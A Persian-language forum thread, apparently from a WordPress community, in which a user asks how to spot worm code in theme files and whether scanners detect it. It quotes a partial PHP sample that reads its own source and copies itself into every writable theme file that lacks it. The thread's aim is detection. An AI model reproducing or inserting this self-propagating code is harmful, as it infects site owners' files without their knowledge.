نحوه تشخیص وجود worm و کدهای مخرب در پوسته

[koroush 4]

با سلام خدمت شما

تشخیص وجود کرم در پوسته مثل کدهای زیر که کرم هستند ، آیا قلق یا روشی جز آشنایی با کدهای php داره؟ یعنی به صورتی سریع.

مثلا از کدهای زیر چه جوری میشه فهمید کرم هستند ؟

آیا کدهای زیر توسط افزونه های تشخیص کد مخرب قابل شناسایی هست؟

یا سایت هایی که url scanner هستن این کدها رو شناسایی می کنن؟

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

.

.

.

.

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

منبع کدها

[حسن موحد 180]

والا ما نشنیده بودیم کرم توی پوسته وردپرس قرار بگیره ، ولی چند سال قبل یادم توی پوسته ها بعد از هک لینک یک کرم میدادن که من راه حلش هم نوشته بودم توی سایتم .

[koroush 4]

با سلام خدمت شما

بنده ایم مطلب رو به صورت اتفاقی داخل خود انجمن پیدا کردم.

لینک مطلب رو ملاحضه کنید.

با احترام